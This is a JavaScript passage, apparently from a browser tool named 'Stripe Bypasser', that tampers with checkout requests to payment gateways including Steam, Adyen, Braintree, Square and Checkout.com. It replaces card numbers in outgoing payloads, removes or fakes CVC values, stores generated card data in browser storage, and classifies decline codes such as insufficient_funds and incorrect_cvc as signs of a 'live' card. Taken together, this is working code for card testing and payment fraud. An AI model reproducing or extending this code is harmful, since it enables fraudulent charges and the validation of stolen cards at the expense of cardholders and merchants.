        stripeBypasserLogger.log("[SteamPayload] No CVC fields found to remove");
      }
      return originalPayload;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to remove CVC from Steam payload", error);
      }
      return steamPayload;
    }
  }
  function replaceCardInSmartGlocalPayload(payload, cardData, options = {}) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("Smart Glocal payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      let payloadObject = null;
      try {
        payloadObject = JSON.parse(payload);
      } catch (error) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Smart Glocal payload is not valid JSON", error);
        }
        return payload;
      }
      if (!payloadObject || !payloadObject.paymentDetails || !payloadObject.paymentDetails.card) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn(
            "Smart Glocal payload does not have paymentDetails.card structure"
          );
        }
        return payload;
      }
      const { card } = payloadObject.paymentDetails;
      let payloadChanged = false;
      if (card.number !== undefined) {
        card.number = cardData.number;
        payloadChanged = true;
      }
      if (card.expirationMonth !== undefined && cardData.month) {
        card.expirationMonth = String(parseInt(cardData.month, 10)).padStart(2, "0");
        payloadChanged = true;
      }
      if (card.expirationYear !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        card.expirationYear =
          parsedNumber < 100 ? String(parsedNumber) : String(parsedNumber).slice(-2);
        payloadChanged = true;
      }
      const cvcMode = options?.cvcMode || "generate";
      if (cvcMode === "remove") {
        for (const fieldKey of ["securityCode", "security_code", "cvc", "cvv", "cvv2"]) {
          if (Object.prototype.hasOwnProperty.call(card, fieldKey)) {
            delete card[fieldKey];
            payloadChanged = true;
            if (stripeBypasserLogger) {
              stripeBypasserLogger.log(
                "[SmartGlocalPayload] Removed " + fieldKey + " (CVC) from request"
              );
            }
          }
        }
      } else {
        const securityCode =
          cvcMode === "custom" && options?.customCvc ? options.customCvc : cardData?.cvc || "000";
        if (card.securityCode !== undefined) {
          card.securityCode = securityCode;
          payloadChanged = true;
        }
        if (card.security_code !== undefined) {
          card.security_code = securityCode;
          payloadChanged = true;
        }
        if (card.cvc !== undefined) {
          card.cvc = securityCode;
          payloadChanged = true;
        }
        if (card.cvv !== undefined) {
          card.cvv = securityCode;
          payloadChanged = true;
        }
      }
      if (card.cardholderName !== undefined && (cardData.name || cardData.holderName)) {
        card.cardholderName = cardData.name || cardData.holderName || getDefaultCardholderName();
        payloadChanged = true;
      }
      if (!payloadChanged) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Smart Glocal payload does not contain card fields to replace");
        }
        return payload;
      }
      const serializedData = JSON.stringify(payloadObject);
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("Smart Glocal payload modification complete", {
          originalLength: payload.length,
          modifiedLength: serializedData.length,
          cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
        });
      }
      return serializedData;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in Smart Glocal payload", error);
      }
      return payload;
    }
  }
  const payloadApi = {
    removeBrowserLanguage,
    removeLocaleOnly,
    decodeAndModify,
    replaceCardInPayload,
    replaceCardInAdyenPayload,
    replaceCardInPaddlePayload,
    replaceCardInCheckoutPayload,
    replaceCardInHiPayPayload,
    replaceCardInSquarePayload,
    replaceCardInNordPayPayload,
    replaceCardInBraintreePayload,
    replaceCardInSteamPayload,
    replaceCardInSmartGlocalPayload,
    replaceCardInEdfaPayPayload,
    removeCvcFromSteamPayload,
    preserveHeaders,
    validateRequest: isValidRequestPayload
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserPayload = payloadApi;
  }
  let storageQueue = Promise.resolve();
  function initCardStorage() {
    window.__StripeBypasserCardStorage ||= {
      currentCard: null,
      lastPaymentTime: null
    };
    return window.__StripeBypasserCardStorage;
  }
  function store(number) {
    if (number) {
      const storeCardJob = async () => {
        initCardStorage();
        let currentCard = null;
        if (typeof number === "object" && number !== null) {
          currentCard = number;
        } else if (typeof number === "string") {
          if (number.includes("|")) {
            const parts = number.split("|");
            currentCard = {
              number: parts[0] || "",
              month: parseInt(parts[1]) || "",
              year: parts[2] || "",
              cvc: parts[3] || ""
            };
          } else if (number.length >= 13) {
            currentCard = {
              number,
              month: "",
              year: "",
              cvc: ""
            };
          }
        }
        if (currentCard && currentCard.number) {
          window.__StripeBypasserCardStorage.currentCard = currentCard;
          window.__StripeBypasserCardStorage.lastPaymentTime = Date.now();
          window.StripeBypasserLastCard = currentCard;
          window.__StripeBypasserLastGeneratedCard = currentCard;
          try {
            if (window.localStorage) {
              window.localStorage.setItem("stripeBypasserLastCard", JSON.stringify(currentCard));
              const formattedCardString =
                currentCard.number +
                "|" +
                String(currentCard.month || "").padStart(2, "0") +
                "|" +
                String(currentCard.year || "").padStart(2, "0") +
                "|" +
                (currentCard.cvc || "");
              window.localStorage.setItem("stripeBypasserLastCardString", formattedCardString);
              window.localStorage.setItem("stripeBypasserCard", JSON.stringify(currentCard));
              window.localStorage.setItem("stripeBypasserCardNumber", currentCard.number);
            }
          } catch (error) {
            if (stripeBypasserLogger) {
              stripeBypasserLogger.warn("[CardStorage] localStorage write failed:", error);
            }
          }
          try {
            if (window.sessionStorage) {
              window.sessionStorage.setItem("stripeBypasserLastCard", JSON.stringify(currentCard));
              const formattedCardString =
                currentCard.number +
                "|" +
                String(currentCard.month || "").padStart(2, "0") +
                "|" +
                String(currentCard.year || "").padStart(2, "0") +
                "|" +
                (currentCard.cvc || "");
              window.sessionStorage.setItem("stripeBypasserLastCardString", formattedCardString);
              window.sessionStorage.setItem("stripeBypasserCard", JSON.stringify(currentCard));
              window.sessionStorage.setItem("stripeBypasserCardNumber", currentCard.number);
            }
          } catch (error) {
            if (stripeBypasserLogger) {
              stripeBypasserLogger.warn("[CardStorage] sessionStorage write failed:", error);
            }
          }
        }
      };
      storageQueue = storageQueue
        .then(async () => {
          try {
            await storeCardJob();
          } catch (error) {
            if (stripeBypasserLogger) {
              stripeBypasserLogger.error("[CardStorage] Storage operation error:", error);
            }
            throw error;
          }
        })
        .catch(asyncError => {
          if (stripeBypasserLogger) {
            stripeBypasserLogger.error("[CardStorage] Queue error:", asyncError);
          }
          return Promise.resolve();
        });
      return storageQueue;
    }
    return Promise.resolve();
  }
  function get(number = null) {
    if (number) {
      if (typeof number === "object") {
        return number;
      }
      if (typeof number === "string" && number.length >= 13) {
        return {
          number,
          month: "",
          year: "",
          cvc: ""
        };
      }
    }
    const cardStorageState = window.__StripeBypasserCardStorage;
    if (cardStorageState?.currentCard) {
      return cardStorageState.currentCard;
    }
    if (window.StripeBypasserLastCard) {
      return window.StripeBypasserLastCard;
    }
    if (window.__StripeBypasserLastGeneratedCard) {
      return window.__StripeBypasserLastGeneratedCard;
    }
    try {
      if (window.localStorage) {
        const storedCardString = window.localStorage.getItem("stripeBypasserLastCardString");
        if (storedCardString && storedCardString.includes("|")) {
          const parts = storedCardString.split("|");
          if (parts.length >= 4 && parts[0].length >= 13) {
            return {
              number: parts[0],
              month: parseInt(parts[1]) || "",
              year: parts[2] || "",
              cvc: parts[3] || ""
            };
          }
        }
        const storedCardValue = window.localStorage.getItem("stripeBypasserLastCard");
        if (storedCardValue) {
          try {
            const parsedData = JSON.parse(storedCardValue);
            if (parsedData && parsedData.number) {
              return parsedData;
            }
          } catch {
            if (storedCardValue.includes("|")) {
              const parts = storedCardValue.split("|");
              if (parts.length >= 4 && parts[0].length >= 13) {
                return {
                  number: parts[0],
                  month: parseInt(parts[1]) || "",
                  year: parts[2] || "",
                  cvc: parts[3] || ""
                };
              }
            } else if (storedCardValue.length >= 13) {
              return {
                number: storedCardValue,
                month: "",
                year: "",
                cvc: ""
              };
            }
          }
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    try {
      if (window.sessionStorage) {
        const sessionCardString = window.sessionStorage.getItem("stripeBypasserLastCardString");
        if (sessionCardString && sessionCardString.includes("|")) {
          const parts = sessionCardString.split("|");
          if (parts.length >= 4 && parts[0].length >= 13) {
            return {
              number: parts[0],
              month: parseInt(parts[1]) || "",
              year: parts[2] || "",
              cvc: parts[3] || ""
            };
          }
        }
        const storedCardValue = window.sessionStorage.getItem("stripeBypasserLastCard");
        if (storedCardValue) {
          try {
            return JSON.parse(storedCardValue);
          } catch {
            if (storedCardValue.length >= 13) {
              return {
                number: storedCardValue,
                month: "",
                year: "",
                cvc: ""
              };
            }
          }
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    return null;
  }
  function format(number) {
    if (!number) {
      return "";
    }
    let payloadObject = null;
    if (typeof number === "object" && number !== null) {
      payloadObject = number;
    } else if (typeof number === "string") {
      if (number.includes("|")) {
        return number;
      }
      const cardPayload = {
        number,
        month: "",
        year: "",
        cvc: ""
      };
      payloadObject = cardPayload;
    }
    if (!payloadObject || !payloadObject.number) {
      return "";
    }
    const padStartData = String(payloadObject.month || "").padStart(2, "0");
    let expiryYearSuffix = "";
    if (payloadObject.year) {
      const yearText = String(payloadObject.year);
      if (yearText.length === 4) {
        expiryYearSuffix = yearText.slice(-2);
      } else if (yearText.length === 2) {
        expiryYearSuffix = yearText;
      } else {
        expiryYearSuffix = yearText.padStart(2, "0");
      }
    }
    const parsedPayloadCvc = payloadObject.cvc || "";
    return (
      payloadObject.number + "|" + padStartData + "|" + expiryYearSuffix + "|" + parsedPayloadCvc
    );
  }
  const cardStorageApi = {
    init: initCardStorage,
    store,
    get,
    format
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserCardStorage = cardStorageApi;
  }
  class Tracker {
    constructor(options = {}) {
      this.trackedValues = new Set();
      this.timeouts = new Map();
      this.maxSize = options.maxSize || 100;
      this.ttl = options.ttl || null;
    }

    has(value) {
      return this.trackedValues.has(value);
    }

    add(value) {
      if (this.trackedValues.size >= this.maxSize) {
        const oldestEntry = this.trackedValues.values().next().value;
        this.delete(oldestEntry);
      }
      this.trackedValues.add(value);
      if (this.ttl) {
        if (this.timeouts.has(value)) {
          clearTimeout(this.timeouts.get(value));
        }
        const timeoutId = setTimeout(() => {
          this.trackedValues.delete(value);
          this.timeouts.delete(value);
        }, this.ttl);
        this.timeouts.set(value, timeoutId);
      }
    }

    delete(value) {
      this.trackedValues.delete(value);
      if (this.timeouts.has(value)) {
        clearTimeout(this.timeouts.get(value));
        this.timeouts.delete(value);
      }
    }

    clear() {
      for (const dataNode of this.timeouts.values()) {
        clearTimeout(dataNode);
      }
      this.trackedValues.clear();
      this.timeouts.clear();
    }
  }
  function getTracker(namespace, options = {}) {
    const trackerNamespaceKey = "__StripeBypasserTracker_" + namespace;
    const trackerHost = typeof window !== "undefined" ? window : globalThis;
    trackerHost[trackerNamespaceKey] ||= new Tracker(options);
    return trackerHost[trackerNamespaceKey];
  }
  function checkDuplicate(namespace, value, options = {}) {
    const tracker = getTracker(namespace, options);
    return !!tracker.has(value) || (tracker.add(value, options.ttl), false);
  }
  const trackerInfo = {
    Tracker,
    getTracker,
    checkDuplicate
  };
  const stripeBypasserDeduplication = trackerInfo;
  if (typeof window !== "undefined") {
    window.StripeBypasserDeduplication = stripeBypasserDeduplication;
  }
  if (typeof globalThis !== "undefined") {
    globalThis.StripeBypasserDeduplication = stripeBypasserDeduplication;
  }
  const stripeInfo = {
    stripe: ["insufficient_funds", "incorrect_cvc", "do_not_honor"],
    adyen: ["12", "24", "28", "29"],
    checkoutcom: ["20051", "200N7", "20054", "20055", "20061", "20065"],
    square: ["INSUFFICIENT_FUNDS", "CVV_FAILURE", "CARD_EXPIRED"],
    braintree: ["2001", "2010", "2015", "2044"],
    nordpay: ["insufficient_funds", "incorrect_cvc"],
    hipay: ["4003", "4007", "4010"],
    steam: ["InsufficientFunds"],
    xsolla: ["insufficient_funds"],
    edfapay: ["insufficient_funds", "cvv_error"],
    paddle: ["insufficient_funds", "cvc_check_failed"]
  };
  function isLiveDeclineCode(gatewayName, declineCode) {
    if (!gatewayName || !declineCode) {
      return false;
    }
    const normalizedText = gatewayName.toLowerCase().replace(/[.\s-]/g, "");
    return (stripeInfo[normalizedText] || stripeInfo.stripe).some(
      item => item.toLowerCase() === String(declineCode).toLowerCase()
    );
  }
  function extractDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      networkDeclineCode: null,
      networkAdviceCode: null,
      adviceCode: null
    };
    if (logEntry.decline_code) {
      errorInfo.code = logEntry.decline_code;
      errorInfo.message = logEntry.message || logEntry.failure_message || "";
      return errorInfo;
    }
    if (
      logEntry.code &&
      [
        "card_not_supported",
        "generic_decline",
        "fraudulent",
        "incorrect_number",
        "invalid_account",
        "insufficient_funds",
        "transaction_not_allowed",
        "do_not_honor",
        "lost_card",
        "stolen_card",
        "expired_card",
        "incorrect_cvc",
        "processing_error",
        "reenter_transaction",
        "restricted_card",
        "security_violation",
        "service_not_allowed",
        "stop_payment_order",
        "testmode_decline",
        "withdrawal_count_limit_exceeded",
        "payment_intent_authentication_failure"
      ].includes(logEntry.code.toLowerCase())
    ) {
      errorInfo.code = logEntry.code;
      errorInfo.message = logEntry.message || "";
      return errorInfo;
    }
    if (logEntry.error && logEntry.error.decline_code) {
      errorInfo.code = logEntry.error.decline_code;
      errorInfo.message = logEntry.error.message || "";
      return errorInfo;
    }
    if (logEntry.last_payment_error && logEntry.last_payment_error.decline_code) {
      errorInfo.code = logEntry.last_payment_error.decline_code;
      errorInfo.message = logEntry.last_payment_error.message || "";
      return errorInfo;
    }
    if (
      logEntry.charges &&
      Array.isArray(logEntry.charges.data) &&
      logEntry.charges.data.length > 0
    ) {
      for (const chargeEntry of logEntry.charges.data) {
        if (chargeEntry.outcome && chargeEntry.outcome.decline_code) {
          errorInfo.code = chargeEntry.outcome.decline_code;
          errorInfo.message =
            chargeEntry.outcome.seller_message || chargeEntry.failure_message || "";
          if (chargeEntry.outcome.network_decline_code) {
            errorInfo.networkDeclineCode = chargeEntry.outcome.network_decline_code;
          }
          if (chargeEntry.outcome.network_advice_code) {
            errorInfo.networkAdviceCode = chargeEntry.outcome.network_advice_code;
          }
          if (chargeEntry.outcome.advice_code) {
            errorInfo.adviceCode = chargeEntry.outcome.advice_code;
          }
          return errorInfo;
        }
        if (
          chargeEntry.outcome &&
          chargeEntry.outcome.network_status === "declined" &&
          chargeEntry.outcome.reason
        ) {
          errorInfo.code = chargeEntry.outcome.reason;
          errorInfo.message = chargeEntry.outcome.seller_message || "";
          if (chargeEntry.outcome.network_decline_code) {
            errorInfo.networkDeclineCode = chargeEntry.outcome.network_decline_code;
          }
          if (chargeEntry.outcome.network_advice_code) {
            errorInfo.networkAdviceCode = chargeEntry.outcome.network_advice_code;
          }
          if (chargeEntry.outcome.advice_code) {
            errorInfo.adviceCode = chargeEntry.outcome.advice_code;
          }
          return errorInfo;
        }
        if (chargeEntry.failure_code) {
          errorInfo.code = chargeEntry.failure_code;
          errorInfo.message = chargeEntry.failure_message || "";
          if (chargeEntry.outcome) {
            if (chargeEntry.outcome.network_decline_code) {
              errorInfo.networkDeclineCode = chargeEntry.outcome.network_decline_code;
            }
            if (chargeEntry.outcome.network_advice_code) {
              errorInfo.networkAdviceCode = chargeEntry.outcome.network_advice_code;
            }
            if (chargeEntry.outcome.advice_code) {
              errorInfo.adviceCode = chargeEntry.outcome.advice_code;
            }
          }
          return errorInfo;
        }
      }
    }
    if (logEntry.charge) {
      const chargeDetails = typeof logEntry.charge === "string" ? null : logEntry.charge;
      if (chargeDetails && typeof chargeDetails === "object") {
        if (chargeDetails.outcome && chargeDetails.outcome.decline_code) {
          errorInfo.code = chargeDetails.outcome.decline_code;
          errorInfo.message =
            chargeDetails.outcome.seller_message || chargeDetails.failure_message || "";
          if (chargeDetails.outcome.network_decline_code) {
            errorInfo.networkDeclineCode = chargeDetails.outcome.network_decline_code;
          }
          if (chargeDetails.outcome.network_advice_code) {
            errorInfo.networkAdviceCode = chargeDetails.outcome.network_advice_code;
          }
          if (chargeDetails.outcome.advice_code) {
            errorInfo.adviceCode = chargeDetails.outcome.advice_code;
          }
          return errorInfo;
        }
        if (
          chargeDetails.outcome &&
          chargeDetails.outcome.network_status === "declined" &&
          chargeDetails.outcome.reason
        ) {
          errorInfo.code = chargeDetails.outcome.reason;
          errorInfo.message = chargeDetails.outcome.seller_message || "";
          if (chargeDetails.outcome.network_decline_code) {
            errorInfo.networkDeclineCode = chargeDetails.outcome.network_decline_code;
          }
          if (chargeDetails.outcome.network_advice_code) {
            errorInfo.networkAdviceCode = chargeDetails.outcome.network_advice_code;
          }
          if (chargeDetails.outcome.advice_code) {
            errorInfo.adviceCode = chargeDetails.outcome.advice_code;
          }
          return errorInfo;
        }
        if (chargeDetails.failure_code) {
          errorInfo.code = chargeDetails.failure_code;
          errorInfo.message = chargeDetails.failure_message || "";
          if (chargeDetails.outcome) {
            if (chargeDetails.outcome.network_decline_code) {
              errorInfo.networkDeclineCode = chargeDetails.outcome.network_decline_code;
            }
            if (chargeDetails.outcome.network_advice_code) {
              errorInfo.networkAdviceCode = chargeDetails.outcome.network_advice_code;
            }
            if (chargeDetails.outcome.advice_code) {
              errorInfo.adviceCode = chargeDetails.outcome.advice_code;
            }
          }
          return errorInfo;
        }
      }
    }
    if (logEntry.payment_intent) {
      const paymentIntentDetails =
        typeof logEntry.payment_intent === "string" ? null : logEntry.payment_intent;
      if (
        paymentIntentDetails &&
        typeof paymentIntentDetails === "object" &&
        paymentIntentDetails.decline_code
      ) {
        errorInfo.code = paymentIntentDetails.decline_code;
        errorInfo.message =
          paymentIntentDetails.message || paymentIntentDetails.failure_message || "";
        return errorInfo;
      }
    }
    if (logEntry.object === "setup_intent" || logEntry.setup_intent) {
      let setupIntentDetails = null;
      if (logEntry.object === "setup_intent") {
        setupIntentDetails = logEntry;
      } else if (typeof logEntry.setup_intent !== "string") {
        setupIntentDetails = logEntry.setup_intent;
      }
      if (setupIntentDetails && typeof setupIntentDetails === "object") {
        if (
          setupIntentDetails.last_setup_error &&
          setupIntentDetails.last_setup_error.decline_code
        ) {
          errorInfo.code = setupIntentDetails.last_setup_error.decline_code;
          errorInfo.message =
            setupIntentDetails.last_setup_error.message ||
            setupIntentDetails.last_setup_error.failure_message ||
            "";
          return errorInfo;
        }
        if (setupIntentDetails.last_error && setupIntentDetails.last_error.decline_code) {
          errorInfo.code = setupIntentDetails.last_error.decline_code;
          errorInfo.message =
            setupIntentDetails.last_error.message ||
            setupIntentDetails.last_error.failure_message ||
            "";
          return errorInfo;
        }
        if (setupIntentDetails.decline_code) {
          errorInfo.code = setupIntentDetails.decline_code;
          errorInfo.message =
            setupIntentDetails.message || setupIntentDetails.failure_message || "";
          return errorInfo;
        }
        if (setupIntentDetails.payment_method) {
          const paymentMethodDetails =
            typeof setupIntentDetails.payment_method === "string"
              ? null
              : setupIntentDetails.payment_method;
          if (paymentMethodDetails && typeof paymentMethodDetails === "object") {
            if (
              paymentMethodDetails.last_payment_error &&
              paymentMethodDetails.last_payment_error.decline_code
            ) {
              errorInfo.code = paymentMethodDetails.last_payment_error.decline_code;
              errorInfo.message = paymentMethodDetails.last_payment_error.message || "";
              return errorInfo;
            }
            if (
              paymentMethodDetails.card &&
              paymentMethodDetails.card.last_error &&
              paymentMethodDetails.card.last_error.decline_code
            ) {
              errorInfo.code = paymentMethodDetails.card.last_error.decline_code;
              errorInfo.message = paymentMethodDetails.card.last_error.message || "";
              return errorInfo;
            }
          }
        }
      }
    }
    if (logEntry.payment_method) {
      const paymentMethodDetails =
        typeof logEntry.payment_method === "string" ? null : logEntry.payment_method;
      if (
        paymentMethodDetails &&
        typeof paymentMethodDetails === "object" &&
        paymentMethodDetails.card &&
        paymentMethodDetails.card.three_d_secure &&
        paymentMethodDetails.card.three_d_secure.authentication_flow &&
        paymentMethodDetails.last_payment_error &&
        paymentMethodDetails.last_payment_error.decline_code
      ) {
        errorInfo.code = paymentMethodDetails.last_payment_error.decline_code;
        errorInfo.message = paymentMethodDetails.last_payment_error.message || "";
        return errorInfo;
      }
    }
    if (
      logEntry.charges &&
      Array.isArray(logEntry.charges.data) &&
      logEntry.charges.data.length > 0
    ) {
      for (const outcome of logEntry.charges.data) {
        if (
          outcome.outcome &&
          outcome.outcome.reason &&
          [
            "partner_generic_decline",
            "invalid_customer_account",
            "payment_limit_exceeded",
            "invalid_billing_agreement",
            "partner_insufficient_funds",
            "partner_invalid_currency",
            "partner_invalid_amount",
            "invalid_business_account",
            "partner_high_risk_customer",
            "compliance_violation",
            "payment_disputed",
            "invalid_authorization",
            "invalid_payment_information",
            "partner_payment_not_found",
            "expired_payment_information",
            "partner_duplicate_transaction"
          ].includes(outcome.outcome.reason)
        ) {
          errorInfo.code = outcome.outcome.reason;
          errorInfo.message = outcome.outcome.seller_message || "";
          return errorInfo;
        }
      }
    }
    return null;
  }
  const adyenRefusalReasonCodes = {
    0: "approved",
    2: "refused",
    3: "referral",
    4: "acquirer_error",
    5: "blocked_card",
    6: "expired_card",
    7: "invalid_amount",
    8: "invalid_card_number",
    9: "issuer_unavailable",
    10: "not_supported",
    11: "3d_not_authenticated",
    12: "not_enough_balance",
    14: "acquirer_fraud",
    15: "cancelled",
    16: "shopper_cancelled",
    17: "invalid_pin",
    18: "pin_tries_exceeded",
    19: "pin_validation_not_possible",
    20: "fraud",
    21: "not_submitted",
    22: "fraud_cancelled",
    23: "transaction_not_permitted",
    24: "cvc_declined",
    25: "restricted_card",
    26: "revocation_of_auth",
    27: "declined_non_generic",
    28: "withdrawal_amount_exceeded",
    29: "withdrawal_count_exceeded",
    31: "issuer_suspected_fraud",
    32: "avs_declined",
    33: "card_requires_online_pin",
    38: "authentication_required",
    42: "3ds_authentication_error",
    46: "blocked_excessive_retry",
    50: "token_revoked"
  };
  function extractAdyenDeclineCode(responseText) {
    if (!responseText || typeof responseText !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "adyen"
    };
    const isTextCode = responseText.resultCode || responseText.result_code;
    if (isTextCode && ["Refused", "Error", "Cancelled"].includes(isTextCode)) {
      const code = responseText.refusalReasonCode || responseText.refusal_reason_code || "";
      const message = responseText.refusalReason || responseText.refusal_reason || isTextCode;
      errorInfo.code = code || isTextCode.toLowerCase();
      errorInfo.message = message;
      if (adyenRefusalReasonCodes[code]) {
        errorInfo.code = code;
        errorInfo.message = message || adyenRefusalReasonCodes[code];
      }
      return errorInfo;
    }
    if (responseText.error && responseText.error.refusalReasonCode) {
      errorInfo.code = responseText.error.refusalReasonCode;
      errorInfo.message = responseText.error.refusalReason || responseText.error.message || "";
      return errorInfo;
    }
    if (responseText.paymentResult) {
      return extractAdyenDeclineCode(responseText.paymentResult);
    }
    if (responseText.action && responseText.action.resultCode) {
      return extractAdyenDeclineCode(responseText.action);
    }
    return null;
  }
  function extractCheckoutComDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "checkoutcom"
    };
    const responseCode = logEntry.response_code;
    if (responseCode) {
      const responseCodeText = String(responseCode);
      if (
        (responseCodeText.startsWith("2") ||
          responseCodeText.startsWith("3") ||
          responseCodeText.startsWith("4")) &&
        !responseCodeText.startsWith("10")
      ) {
        errorInfo.code = responseCodeText;
        errorInfo.message = logEntry.response_summary || logEntry.status || "";
        return errorInfo;
      }
    }
    if (logEntry.status === "Declined" || logEntry.status === "Rejected") {
      errorInfo.code = responseCode || logEntry.status.toLowerCase();
      errorInfo.message = logEntry.response_summary || logEntry.status;
      return errorInfo;
    }
    if (
      logEntry.error_codes &&
      Array.isArray(logEntry.error_codes) &&
      logEntry.error_codes.length > 0
    ) {
      [errorInfo.code] = logEntry.error_codes;
      errorInfo.message = logEntry.error_type || logEntry.message || "";
      return errorInfo;
    }
    if (logEntry.actions && Array.isArray(logEntry.actions)) {
      for (const actionResult of logEntry.actions) {
        if (actionResult.response_code && !String(actionResult.response_code).startsWith("10")) {
          errorInfo.code = String(actionResult.response_code);
          errorInfo.message = actionResult.response_summary || "";
          return errorInfo;
        }
      }
    }
    return null;
  }
  function getCheckoutComTransactionState(logEntry, rawResponseText) {
    if (!logEntry && !rawResponseText) {
      return {
        success: false,
        failed: false
      };
    }
    const normalizedStatus =
      typeof logEntry?.status === "string" ? logEntry.status.toLowerCase() : "";
    const responseCode =
      logEntry?.response_code !== undefined && logEntry?.response_code !== null
        ? String(logEntry.response_code)
        : "";
    const successSignals = [
      normalizedStatus === "authorized",
      normalizedStatus === "captured",
      normalizedStatus === "accepted",
      normalizedStatus === "paid",
      normalizedStatus === "approved",
      responseCode.startsWith("10"),
      logEntry?.approved === true
    ];
    const failureSignals = [
      normalizedStatus === "declined",
      normalizedStatus === "rejected",
      normalizedStatus === "refused",
      normalizedStatus === "error",
      normalizedStatus === "blocked",
      !!(responseCode && !responseCode.startsWith("10")),
      Array.isArray(logEntry?.error_codes) && logEntry.error_codes.length > 0,
      !!logEntry?.error_type
    ];
    if (typeof rawResponseText === "string") {
      const normalizedText = rawResponseText.toLowerCase();
      if (
        normalizedText.includes('"status":"authorized"') ||
        normalizedText.includes('"status": "authorized"') ||
        normalizedText.includes('"status":"captured"') ||
        normalizedText.includes('"status": "captured"') ||
        normalizedText.includes('"status":"accepted"') ||
        normalizedText.includes('"status": "accepted"') ||
        normalizedText.includes('"status":"paid"') ||
        normalizedText.includes('"status": "paid"') ||
        normalizedText.includes('"status":"approved"') ||
        normalizedText.includes('"status": "approved"') ||
        /"response_code"\s*:\s*"10/i.test(rawResponseText) ||
        /"response_code"\s*:\s*10/i.test(rawResponseText)
      ) {
        return {
          success: true,
          failed: false
        };
      }
      if (
        normalizedText.includes('"status":"declined"') ||
        normalizedText.includes('"status": "declined"') ||
        normalizedText.includes('"status":"rejected"') ||
        normalizedText.includes('"status": "rejected"') ||
        normalizedText.includes('"status":"refused"') ||
        normalizedText.includes('"status": "refused"') ||
        normalizedText.includes('"status":"error"') ||
        normalizedText.includes('"status": "error"') ||
        normalizedText.includes('"error_codes"') ||
        normalizedText.includes('"error_type"') ||
        /"response_code"\s*:\s*"(?:2|3|4)/i.test(rawResponseText) ||
        /"response_code"\s*:\s*(?:2|3|4)/i.test(rawResponseText)
      ) {
        return {
          success: false,
          failed: true
        };
      }
    }
    if (successSignals.some(item => item === true)) {
      return {
        success: true,
        failed: false
      };
    }
    if (failureSignals.some(item => item === true)) {
      return {
        success: false,
        failed: true
      };
    }
    return {
      success: false,
      failed: false
    };
  }
  function extractSquareDeclineCode(responseJson) {
    if (!responseJson || typeof responseJson !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "square"
    };
    if (
      responseJson.errors &&
      Array.isArray(responseJson.errors) &&
      responseJson.errors.length > 0
    ) {
      const firstError = responseJson.errors[0];
      errorInfo.code = firstError.code || "UNKNOWN";
      errorInfo.message = firstError.detail || firstError.code || "";
      return errorInfo;
    }
    if (responseJson.payment && responseJson.payment.status === "FAILED") {
      errorInfo.code = "PAYMENT_FAILED";
      errorInfo.message = responseJson.payment.status_detail || "Payment failed";
      return errorInfo;
    }
    return null;
  }
  function extractBraintreeDeclineCode(responseJson) {
    if (!responseJson || typeof responseJson !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "braintree"
    };
    const tokenizeCreditCard = responseJson.data?.tokenizeCreditCard;
    if (Array.isArray(tokenizeCreditCard?.errors) && tokenizeCreditCard.errors.length > 0) {
      const tokenizeError = tokenizeCreditCard.errors[0];
      errorInfo.code = tokenizeError.code || "UNKNOWN";
      errorInfo.message = tokenizeError.message || "";
      return errorInfo;
    }
    if (Array.isArray(responseJson.errors) && responseJson.errors.length > 0) {
      const graphqlError = responseJson.errors[0];
      errorInfo.code = graphqlError.extensions?.errorClass || graphqlError.code || "UNKNOWN";
      errorInfo.message = graphqlError.message || "";
      return errorInfo;
    }
    if (responseJson.transaction) {
      const transactionDetails = responseJson.transaction;
      if (
        transactionDetails.status === "processor_declined" ||
        transactionDetails.status === "gateway_rejected"
      ) {
        errorInfo.code =
          transactionDetails.processorResponseCode ||
          transactionDetails.processor_response_code ||
          transactionDetails.status;
        errorInfo.message =
          transactionDetails.processorResponseText ||
          transactionDetails.processor_response_text ||
          transactionDetails.gatewayRejectionReason ||
          transactionDetails.additionalProcessorResponse ||
          "";
        return errorInfo;
      }
    }
    if (responseJson.error) {
      errorInfo.code = responseJson.error.code || responseJson.error.type || "UNKNOWN";
      errorInfo.message = responseJson.error.message || "";
      return errorInfo;
    }
    return null;
  }
  function extractNordPayDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
      return null;
    }
    const errorInfo = {
      code: null,
      message: "",
      gateway: "nordpay"
    };
    if (logEntry.error && typeof logEntry.error === "object") {
      errorInfo.code = logEntry.error.code || logEntry.error.type || "declined";
      errorInfo.message = logEntry.error.message || "";
      return errorInfo;
    }
    if (logEntry.error && typeof logEntry.error === "string") {
      errorInfo.code = logEntry.error;
      errorInfo.message = logEntry.message || logEntry.error;
      return errorInfo;
    }
    if (logEntry.errors && Array.isArray(logEntry.errors) && logEntry.errors.length > 0) {
      const firstError = logEntry.errors[0];
      errorInfo.code = firstError.code || firstError.type || "declined";
      errorInfo.message = firstError.message || firstError.detail || "";
      return errorInfo;
    }
    if (
      logEntry.status === "failed" ||
      logEntry.status === "declined" ||
      logEntry.status === "error"
    ) {
      errorInfo.code = logEntry.error_code || logEntry.code || logEntry.status;
      errorInfo.message = logEntry.message || logEntry.error_message || logEntry.status;
      return errorInfo;
    }
    return null;
  }
  function extractHiPayDeclineCode(logEntry) {
    if (!logEntry || typeof logEntry !== "object") {
